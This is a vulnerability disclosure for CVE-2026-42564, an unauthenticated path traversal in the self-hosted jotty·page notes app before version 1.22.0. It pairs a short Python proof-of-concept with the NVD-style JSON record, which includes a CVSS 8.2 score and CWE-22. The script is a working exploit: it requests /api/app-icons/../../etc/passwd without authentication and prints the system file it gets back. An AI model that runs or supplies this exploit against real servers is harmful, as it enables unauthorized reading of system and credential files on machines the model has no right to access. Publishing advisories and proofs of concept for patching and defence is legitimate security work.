CVE-2026-42564

import requests # Target URL of the vulnerable jotty·page instance # Replace 'http://target-host' with the actual address target_url = "http://target-host/api/app-icons/../../etc/passwd" try: # Send a GET request without authentication response = requests.get(target_url) # Check if the request was successful (HTTP 200) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-42564", "sourceIdentifier": "[email protected]", "published": "2026-05-11T22:22:11.417", "lastModified": "2026-05-11T22:22:11.417", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "jotty·page is a self-hosted app for your checklists and notes. Prior to 1.22.0, an unauthenticated path traversal vulnerability exists in /api/app-icons/[filename]. The filename route parameter is joined into a filesystem path without traversal/boundary validation, allowing file reads outside data/uploads/app-icons/. This vulnerability is fixed in 1.22.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://github.com/fccview/jotty/security/advisories/GHSA-7843-gwq8-g96f", "source": "[email protected]"}]}}